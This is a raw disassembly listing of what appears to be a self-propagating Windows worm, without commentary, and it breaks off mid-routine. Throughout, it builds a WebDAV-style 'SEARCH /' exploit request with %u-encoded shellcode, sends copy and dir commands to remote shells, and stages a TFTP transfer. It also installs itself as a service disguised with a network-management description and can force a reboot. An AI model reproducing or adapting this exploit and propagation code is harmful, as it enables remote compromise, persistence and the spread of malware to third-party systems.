; =============== S U B	R O U T	I N E =======================================



sub_401B10	proc near		; CODE XREF: sub_401C80+D8p
					; sub_401C80+121p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+10h+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	edi
		call	dword_404168	; send
		test	eax, eax
		jnz	short loc_401B3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401B3C:				; CODE XREF: sub_401B10+25j
		mov	esi, [esp+10h+arg_8]
		mov	ebx, dword_40416C
		push	0
		push	3FFh
		push	esi
		push	edi
		call	ebx ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B7E
		mov	ebp, dword_404100


loc_401B5C:				; CODE XREF: sub_401B10+6Cj
		push	offset dword_4061BC
		push	esi
		mov	byte ptr [eax+esi], 0
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401B85
		push	eax
		push	3FFh
		push	esi
		push	edi
		call	ebx ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401B5C


loc_401B7E:				; CODE XREF: sub_401B10+44j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401B10+5Dj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		retn
sub_401B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B90	proc near		; CODE XREF: sub_401C80+162p
					; sub_401C80+192p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	edx, [esp+4+arg_4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	esi, [esp+14h+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	esi
		call	dword_404168	; send
		test	eax, eax
		jz	loc_401C64
		lea	eax, [esp+14h+var_4]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+28h+var_4], 15F90h
		call	dword_404164	; setsockopt
		mov	ebx, dword_4040C0
		call	ebx ; dword_4040C0
		mov	edi, [esp+14h+arg_8]
		push	0
		push	1FFh
		push	edi
		push	esi
		mov	[esp+24h+arg_4], eax
		call	dword_40416C	; recv
		mov	esi, eax
		call	ebx ; dword_4040C0
		mov	ecx, [esp+14h+arg_4]
		mov	ebp, eax
		sub	ebp, ecx
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401C64


loc_401C0C:				; CODE XREF: sub_401B90+D2j
		mov	byte ptr [esi+edi], 0
		mov	esi, dword_404100
		push	offset aTransferSucces ; "Transfer successful"
		push	edi
		call	esi ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401C6C
		push	offset aTimeoutOccurre ; "Timeout occurred"
		push	edi
		call	esi ; dword_404100
		add	esp, 8
		test	eax, eax


loc_401C32:				; DATA XREF: seg002:0040ACD5r
		jnz	short loc_401C64
		cmp	ebp, 15F2Ch
		ja	short loc_401C64
		call	ebx ; dword_4040C0


loc_401C3E:				; DATA XREF: seg002:0040AAB1r
		mov	ecx, [esp+14h+arg_0]
		push	0


loc_401C44:				; DATA XREF: seg002:0040AE45o
		push	1FFh
		push	edi
		push	ecx
		mov	[esp+24h+arg_4], eax
		call	dword_40416C	; recv
		mov	esi, eax
		call	ebx ; dword_4040C0
		sub	eax, [esp+14h+arg_4]
		add	ebp, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401C0C


loc_401C64:				; CODE XREF: sub_401B90+26j
					; sub_401B90+7Aj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401C6C:				; CODE XREF: sub_401B90+93j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		pop	ecx
		retn
sub_401B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C80	proc near		; DATA XREF: sub_401990+116o

var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
arg_0		= dword	ptr  4

		sub	esp, 404h
		mov	eax, [esp+404h+arg_0]
		push	ebp
		push	esi
		push	edi
		mov	esi, [eax]
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+410h+var_3FF]
		mov	[esp+410h+var_400], 0
		push	4
		rep stosd
		lea	ecx, [esp+414h+var_404]
		mov	[esp+414h+var_404], 1388h
		stosw
		push	ecx
		push	1006h
		push	0FFFFh
		push	esi
		stosb
		call	dword_404164	; setsockopt
		mov	edi, dword_40416C
		push	0
		lea	edx, [esp+414h+var_400]
		push	3FFh
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E54
		test	eax, eax
		jz	loc_401E54
		mov	ebp, dword_404100
		lea	eax, [esp+410h+var_400]
		push	offset aMicrosoftWindo ; "Microsoft Windows"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jz	loc_401E54
		lea	ecx, [esp+410h+var_400]
		push	offset dword_4061BC
		push	ecx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401D4D


loc_401D1D:				; CODE XREF: sub_401C80+CBj
		push	0
		lea	edx, [esp+414h+var_400]
		push	3FFh
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E54
		mov	[esp+eax+410h+var_400],	0
		lea	eax, [esp+410h+var_400]
		push	offset dword_4061BC
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jz	short loc_401D1D


loc_401D4D:				; CODE XREF: sub_401C80+9Bj
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset aDirWinsDllhost ; "dir wins\\dllhost.exe\n\r"
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E54
		lea	edx, [esp+410h+var_400]
		push	offset aDllhost_exe ; "DLLHOST.EXE"
		push	edx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	loc_401E54
		lea	eax, [esp+410h+var_400]
		push	offset aDllhost_exe_0 ;	"dllhost.exe"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	loc_401E54
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset aDirDllcacheTft ; "dir dllcache\\tftpd.exe\n\r"
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E54
		lea	edx, [esp+410h+var_400]
		push	offset aTftpd_exe_0 ; "tftpd.exe"
		push	edx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401DF0
		lea	eax, [esp+410h+var_400]
		push	offset aTftpd_exe ; "TFTPD.EXE"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401DF0
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset dword_407628
		push	esi
		call	sub_401B90
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54
		jmp	short loc_401E07
; ---------------------------------------------------------------------------


loc_401DF0:				; CODE XREF: sub_401C80+142j
					; sub_401C80+155j
		lea	edx, [esp+410h+var_400]
		push	edx
		push	offset aCopyDllcacheTf ; "copy dllcache\\tftpd.exe wins\\svchost.ex"...
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54


loc_401E07:				; CODE XREF: sub_401C80+16Ej
		lea	eax, [esp+410h+var_400]
		push	eax
		push	offset dword_4075A8
		push	esi
		call	sub_401B90
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54
		mov	ebp, dword_4040C8
		push	1F4h
		call	ebp ; dword_4040C8
		mov	edi, offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r"
		push	esi
		call	dword_404168	; send
		test	eax, eax
		jz	short loc_401E54
		push	3E8h
		call	ebp ; dword_4040C8


loc_401E54:				; CODE XREF: sub_401C80+5Fj
					; sub_401C80+67j ...
		push	esi
		call	dword_404170	; closesocket
		pop	edi
		pop	esi
		mov	eax, [esp+408h+arg_0]
		pop	ebp
		test	eax, eax
		jz	short loc_401E72
		push	eax
		call	sub_402FC6
		add	esp, 4


loc_401E72:				; CODE XREF: sub_401C80+1E7j
		mov	eax, 1
		add	esp, 404h
		retn	4
sub_401C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E80	proc near		; CODE XREF: sub_401210:loc_401217p
					; sub_401210+17p
		push	offset aMicrosoft_com ;	"microsoft.com"
		call	dword_404160	; gethostbyname
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_401E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EA0	proc near		; CODE XREF: sub_401210:loc_401230p

var_70		= dword	ptr -70h
var_64		= byte ptr -64h

		sub	esp, 74h
		lea	eax, [esp+74h+var_64]
		push	esi
		push	64h
		push	eax
		call	dword_404158	; gethostname
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401F1D
		lea	ecx, [esp+78h+var_64]
		push	ecx
		call	dword_404160	; gethostbyname
		test	eax, eax
		jz	short loc_401F1D
		mov	edx, [eax+0Ch]
		mov	esi, [edx]
		test	esi, esi
		jz	short loc_401F1D
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, ecx
		push	edi
		lea	edi, [esp+7Ch+var_70]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+7Ch+var_70]
		push	ecx
		call	dword_40415C	; inet_ntoa
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, 1
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_407478
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		add	esp, 74h
		retn
; ---------------------------------------------------------------------------


loc_401F1D:				; CODE XREF: sub_401EA0+14j
					; sub_401EA0+23j ...
		xor	eax, eax
		pop	esi
		add	esp, 74h
		retn
sub_401EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F30	proc near		; CODE XREF: sub_401280+A5p

var_50		= byte ptr -50h

		sub	esp, 50h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	esi
		push	edi
		mov	edi, offset aSearch ; "SEARCH /"
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ds:dword_4075A0
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, 41414141h
		and	ecx, 3
		rep movsb
		mov	edx, ds:dword_4075A0
		mov	ecx, 41h
		mov	dword_406424, 8
		mov	esi, offset aU5951U6858U759 ; "%u5951%u6858%u759f%u0018%u5951%u6858%u7"...
		lea	edi, [edx+8]
		rep stosd
		stosb
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		add	eax, 105h
		mov	ecx, 41414141h
		mov	dword_406424, eax
		add	eax, edx
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	eax, dword_406424
		mov	ecx, ds:dword_4075A0
		add	eax, 8
		mov	dword_406424, eax
		lea	edi, [eax+ecx]
		mov	ecx, 30h
		rep movsd
		movsb
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		add	eax, 0C0h
		mov	ecx, 31h
		mov	esi, offset aU5390U665eU66a ; "%u5390%u665e%u66ad%u993d%u7560%u56f8%u5"...
		mov	dword_406424, eax
		lea	edi, [eax+edx]
		rep movsd
		movsw
		movsb
		mov	eax, dword_406424
		mov	ecx, ds:dword_4075A0
		add	eax, 0C6h
		mov	esi, offset aFfilomidomfafd ; "ffilomidomfafdfgfhinhnlaljbeaaaaaalimmm"...
		mov	dword_406424, eax
		lea	edi, [eax+ecx]
		mov	ecx, 55h
		rep movsd
		movsb
		mov	edx, dword_406424
		mov	esi, ds:dword_4075A0
		add	edx, 154h
		mov	ecx, 3F52h
		mov	eax, 4E4E4E4Eh
		mov	dword_406424, edx
		lea	edi, [edx+esi]
		mov	esi, offset aHttp1_1Host127 ; "	HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Typ"...
		rep stosd
		stosw
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		mov	ecx, 14h
		lea	edi, [esp+58h+var_50]
		add	eax, 0FD4Ah
		rep movsd
		lea	edi, [eax+edx]
		mov	ecx, 14h
		lea	esi, [esp+58h+var_50]
		mov	dword_406424, eax
		rep movsd
		mov	eax, dword_406424
		mov	esi, offset loc_40597E
		add	eax, 4Fh
		mov	dword_406424, eax
		lea	ecx, [eax+0E7h]
		lea	edx, [eax+0ECh]
		mov	dword_40642C, ecx
		mov	ecx, ds:dword_4075A0
		mov	ds:dword_407470, edx
		lea	edi, [eax+ecx]
		mov	ecx, 5Dh
		rep movsd
		movsw
		mov	eax, dword_406424
		mov	esi, ds:dword_4075A0
		mov	cx, word_406238
		mov	dl, byte_40623A
		add	eax, 175h
		pop	edi
		mov	dword_406424, eax
		add	eax, esi
		pop	esi
		mov	[eax], cx
		mov	[eax+2], dl
		mov	eax, dword_406424
		add	eax, 2
		mov	dword_406424, eax
		add	esp, 50h
		retn
sub_401F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020E0	proc near		; CODE XREF: sub_401210+57p
		mov	ax, word_405B68
		push	eax
		call	dword_404174	; ntohs
		mov	ecx, ds:dword_4075A0
		mov	edx, dword_40642C
		xor	eax, 9999h
		push	offset dword_407478
		mov	[edx+ecx], ax
		call	dword_404194	; inet_addr
		mov	ecx, ds:dword_4075A0
		mov	edx, ds:dword_407470
		xor	eax, 99999999h
		mov	[edx+ecx], eax
		retn
sub_4020E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402130	proc near		; CODE XREF: sub_401210+5Cp
		mov	ax, word_405B68
		push	eax
		call	dword_404174	; ntohs
		mov	ecx, dword_406428
		xor	eax, 9999h
		push	offset dword_407478
		mov	word ptr dword_406470[ecx], ax
		call	dword_404194	; inet_addr
		mov	edx, ds:dword_407474
		xor	eax, 99999999h
		mov	dword_406470[edx], eax
		retn
sub_402130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402170	proc near		; CODE XREF: sub_401280+AAp
		push	esi
		mov	eax, dword_4057DC
		push	edi
		mov	ecx, 0D8h
		mov	esi, offset dword_40547C
		mov	edi, offset dword_406470
		rep movsd
		mov	ecx, dword_4057E4
		add	eax, 166h
		add	ecx, 166h
		mov	dword_4057DC, eax
		mov	dword_4057E4, ecx
		mov	dword_4067D8, ecx
		mov	ecx, dword_4057E8
		mov	dword_4067D0, eax
		mov	eax, dword_4057E0
		mov	dword_4067DC, ecx
		mov	ecx, 0B3h
		mov	esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		mov	edi, offset dword_4067E0
		mov	edx, dword_405484
		mov	dword_40584C, 100139Dh
		mov	dword_4067D4, eax
		rep movsd
		mov	ecx, 0Fh
		mov	esi, offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		mov	edi, offset dword_406AAC
		add	edx, 2C0h
		rep movsd
		mov	ecx, 0Ch
		mov	esi, offset dword_405AF4
		mov	edi, offset dword_406AE8
		mov	eax, 2C0h
		rep movsd
		mov	esi, dword_406480
		mov	ecx, dword_4064F4
		mov	edi, dword_406524
		mov	dword_406478, edx
		mov	edx, dword_4064F0
		add	esi, eax
		add	edx, eax
		add	ecx, eax
		mov	dword_406480, esi
		mov	esi, dword_406528
		mov	dword_4064F0, edx
		mov	edx, dword_406540
		mov	dword_4064F4, ecx
		mov	ecx, dword_4065FC
		add	edi, eax
		add	esi, eax
		mov	dword_406524, edi
		add	edx, eax
		add	ecx, eax
		mov	dword_406528, esi
		pop	edi
		mov	dword_406428, 5ADh
		mov	ds:dword_407474, 5B2h
		mov	dword_406420, 6A8h
		mov	dword_406540, edx
		mov	dword_4065FC, ecx
		pop	esi
		retn
sub_402170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4022A0	proc near		; CODE XREF: sub_401780+1E8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		lea	eax, [esp+14h+var_14]
		push	eax
		push	28h
		call	dword_40409C	; GetCurrentProcess
		push	eax
		call	dword_404044	; OpenProcessToken
		lea	ecx, [esp+14h+var_C]
		push	ecx
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		push	0
		call	dword_404048	; LookupPrivilegeValueA
		mov	eax, [esp+14h+var_14]
		push	0
		push	0
		lea	edx, [esp+1Ch+var_10]
		push	0
		push	edx
		push	0
		push	eax
		mov	[esp+2Ch+var_10], 1
		mov	[esp+2Ch+var_4], 2
		call	dword_404028	; AdjustTokenPrivileges
		mov	ecx, [esp+14h+arg_0]
		push	0
		or	ecx, 4
		push	ecx
		call	dword_404148	; ExitWindowsEx
		add	esp, 14h
		retn
sub_4022A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402310	proc near		; CODE XREF: sub_401780:loc_401788p

var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h

		sub	esp, 9Ch
		call	dword_404094	; GetVersion
		and	eax, 0FFh
		lea	ecx, [esp+9Ch+var_9C]
		cmp	eax, 5
		push	ecx
		sbb	eax, eax
		and	al, 0F8h
		add	eax, 9Ch
		mov	[esp+0A0h+var_9C], eax
		call	dword_404098	; GetVersionExA
		mov	eax, [esp+9Ch+var_94]
		add	esp, 9Ch
		retn
sub_402310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402350	proc near		; CODE XREF: sub_402390+Dp
					; sub_402390+21p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [esp+arg_0]
		push	eax
		push	1
		push	0
		push	ecx
		push	80000002h
		call	dword_40403C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40237E
		mov	edx, [esp+arg_0]
		push	edx
		call	dword_404040	; RegCloseKey
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_40237E:				; CODE XREF: sub_402350+1Bj
		xor	eax, eax
		retn
sub_402350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402390	proc near		; CODE XREF: sub_401780+1Dp
					; sub_401780+1DAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_4023AC
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Updates\\Windows	2000"...
		call	sub_402350
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_4023AC:				; CODE XREF: sub_402390+6j
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Updates\\Windows	XP\\S"...
		call	sub_402350
		add	esp, 4
		test	eax, eax
		jnz	short loc_4023CF
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Updates\\Windows	XP\\S"...
		call	sub_402350


loc_4023C7:				; DATA XREF: sub_40A2D7+1F3w
		add	esp, 4
		test	eax, eax
		jnz	short loc_4023CF
		retn
; ---------------------------------------------------------------------------


loc_4023CF:				; CODE XREF: sub_402390+2Bj
					; sub_402390+3Cj
		mov	eax, 1

locret_4023D4:				; DATA XREF: sub_40A2D7+204w
		retn
sub_402390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4023E0	proc near		; CODE XREF: sub_4015E0+61p
					; sub_401660+5Cp

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 110h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_40240A
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_40240A:				; CODE XREF: sub_4023E0+1Dj
		mov	ecx, 41h


loc_40240F:				; DATA XREF: sub_40A2D7+3w
					; sub_40A2D7+13r ...
		xor	eax, eax
		lea	edi, [esp+120h+var_107]
		mov	[esp+120h+var_108], 0
		rep stosd
		mov	edi, [esp+120h+arg_8]


loc_402423:				; DATA XREF: sub_40A2D7+A9r
		lea	eax, [esp+120h+var_108]


loc_402427:				; DATA XREF: seg002:0040ABF3r
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSWinsS	; "%s\\wins\\%s"
		push	eax
		call	dword_40411C	; sprintf
		push	offset aSvchost_exe ; "svchost.exe"
		push	edi
		mov	esi, 2
		call	dword_404140	; _stricmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_402456
		mov	esi, 3


loc_402456:				; CODE XREF: sub_4023E0+6Fj
		push	0
		mov	edx, [esp+124h+arg_4]
		push	0
		mov	eax, [esp+128h+arg_0]
		push	0
		push	0
		lea	ecx, [esp+130h+var_108]
		push	0
		push	ecx
		push	0
		push	esi
		push	110h
		push	0F01FFh
		push	edx
		push	eax
		push	ebp


loc_402483:				; DATA XREF: sub_40A461+7r
					; seg002:0040AD51r
		call	dword_404030	; CreateServiceA
		mov	ebx, eax


loc_40248B:				; DATA XREF: sub_40A2D7+DFr
		test	ebx, ebx
		jnz	short loc_4024A3


loc_40248F:				; DATA XREF: seg002:0040AC23r
		push	ebp
		call	dword_404034	; CloseServiceHandle
		pop	edi


loc_402497:				; DATA XREF: sub_40A2D7+1DBr
					; seg002:loc_40AA67r
		pop	esi
		pop	ebp
		xor	eax, eax


loc_40249B:				; DATA XREF: sub_40A2D7+1EAr
					; seg002:0040AA78r
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_4024A3:				; CODE XREF: sub_4023E0+ADj
					; DATA XREF: sub_40A2D7+24Ar ...
		mov	ecx, [esp+120h+arg_C]
		push	0F01FFh


loc_4024AF:				; DATA XREF: sub_40A9D0+2Dr
		push	ecx
		push	ebp
		mov	[esp+12Ch+var_110], offset aManagesNetwork ; "Manages network configuration by updati"...
		xor	esi, esi
		call	dword_404038	; OpenServiceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_402507
		push	400h
		push	40h
		mov	[esp+128h+var_10C], esi
		call	dword_40408C	; LocalAlloc
		mov	esi, eax


loc_4024DA:				; DATA XREF: seg002:0040AD6Do
		test	esi, esi
		jz	short loc_4024FC
		lea	edx, [esp+120h+var_10C]
		push	edx


loc_4024E3:				; DATA XREF: seg002:0040AC0Dr
		push	400h
		push	esi
		push	1
		push	edi
		call	dword_404004	; QueryServiceConfig2A
		test	eax, eax
		jz	short loc_4024FC
		mov	eax, [esi]
		mov	[esp+120h+var_110], eax


loc_4024FC:				; CODE XREF: sub_4023E0+FCj
					; sub_4023E0+114j
		push	edi
		mov	edi, dword_404034
		call	edi ; dword_404034


loc_402505:				; DATA XREF: seg002:0040AB9Fr
					; seg002:0040AD77w
		jmp	short loc_40250D
; ---------------------------------------------------------------------------


loc_402507:				; CODE XREF: sub_4023E0+E5j
		mov	edi, dword_404034


loc_40250D:				; CODE XREF: sub_4023E0:loc_402505j
		lea	ecx, [esp+120h+var_110]
		push	ecx
		push	1
		push	ebx
		call	dword_404000	; ChangeServiceConfig2A
		test	esi, esi
		jz	short loc_402526
		push	esi
		call	dword_404090	; LocalFree


loc_402526:				; CODE XREF: sub_4023E0+13Dj
		push	ebx
		call	edi ; dword_404034
		push	ebp
		call	edi ; dword_404034
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 110h
		retn
sub_4023E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402540	proc near		; CODE XREF: sub_401280+ECp
					; sub_401280+110p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= dword	ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 134h
		push	ebp
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	ebp, eax
		test	ebp, ebp
		mov	[esp+13Ch+var_134], ebp
		jnz	short loc_40256A
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_40256A:				; CODE XREF: sub_402540+1Fj
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	eax, [esp+140h+var_104]
		push	offset aDSWins	; "-d%s\\wins"
		push	eax
		mov	[esp+148h+var_130], 0
		call	dword_40411C	; sprintf
		mov	edx, [esp+148h+arg_0]
		add	esp, 0Ch
		lea	ecx, [esp+13Ch+var_104]
		push	0F01FFh
		push	edx
		push	ebp
		mov	[esp+148h+var_128], ecx
		call	dword_404038	; OpenServiceA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4025B5
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_4025B5:				; CODE XREF: sub_402540+6Aj
		push	ebx
		push	esi
		push	400h
		push	40h
		call	dword_40408C	; LocalAlloc
		mov	esi, dword_40401C
		mov	ebx, eax
		lea	eax, [esp+13Ch+var_118]
		mov	[esp+13Ch+var_124], ebx
		push	eax
		push	edi
		call	esi ; dword_40401C
		test	eax, eax
		jnz	short loc_4025E3
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_4025E3:				; CODE XREF: sub_402540+9Aj
		mov	eax, [esp+13Ch+var_114]
		cmp	eax, 4
		jz	loc_402709
		cmp	eax, 2
		jz	loc_402709
		lea	ecx, [esp+13Ch+var_11C]
		push	ecx
		push	400h
		push	ebx
		push	edi
		call	dword_404020	; QueryServiceConfigA
		test	eax, eax
		jnz	short loc_402616
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_402616:				; CODE XREF: sub_402540+CDj
		cmp	dword ptr [ebx+4], 4
		jnz	short loc_402642
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		push	3
		push	0FFFFFFFFh
		push	edi
		call	dword_404024	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_402642
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_402642:				; CODE XREF: sub_402540+DAj
					; sub_402540+F9j
		lea	edx, [esp+13Ch+var_120]
		push	edx
		push	1
		push	edi
		call	dword_404008	; StartServiceA
		test	eax, eax
		jnz	short loc_40265B
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_40265B:				; CODE XREF: sub_402540+112j
		lea	eax, [esp+13Ch+var_118]
		push	eax
		push	edi
		call	esi ; dword_40401C
		test	eax, eax
		jnz	short loc_40266E
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_40266E:				; CODE XREF: sub_402540+125j
		cmp	[esp+13Ch+var_114], 2
		jnz	loc_4026F9
		mov	ebp, dword_4040C8
		mov	ebx, dword_4040C0
		mov	esi, [esp+13Ch+var_11C]


loc_402689:				; CODE XREF: sub_402540+1AFj
		mov	eax, 0CCCCCCCDh
		mul	[esp+13Ch+var_100]
		shr	edx, 3
		cmp	edx, 3E8h
		jnb	short loc_4026A4
		mov	edx, 3E8h
		jmp	short loc_4026B1
; ---------------------------------------------------------------------------


loc_4026A4:				; CODE XREF: sub_402540+15Bj
		cmp	edx, 2710h
		jbe	short loc_4026B1
		mov	edx, 2710h


loc_4026B1:				; CODE XREF: sub_402540+162j
					; sub_402540+16Aj
		push	edx
		call	ebp ; dword_4040C8
		lea	ecx, [esp+13Ch+var_118]
		push	ecx
		push	edi
		call	dword_40401C	; QueryServiceStatus
		test	eax, eax
		jz	short loc_4026F1
		mov	edx, [esp+13Ch+var_128]
		mov	eax, [esp+13Ch+var_104]
		cmp	eax, edx
		jbe	short loc_4026DE
		call	ebx ; dword_4040C0
		mov	esi, eax
		mov	eax, [esp+13Ch+var_104]
		mov	[esp+13Ch+var_128], eax
		jmp	short loc_4026EA
; ---------------------------------------------------------------------------


loc_4026DE:				; CODE XREF: sub_402540+18Ej
		call	ebx ; dword_4040C0
		mov	ecx, [esp+13Ch+var_100]
		sub	eax, esi
		cmp	eax, ecx
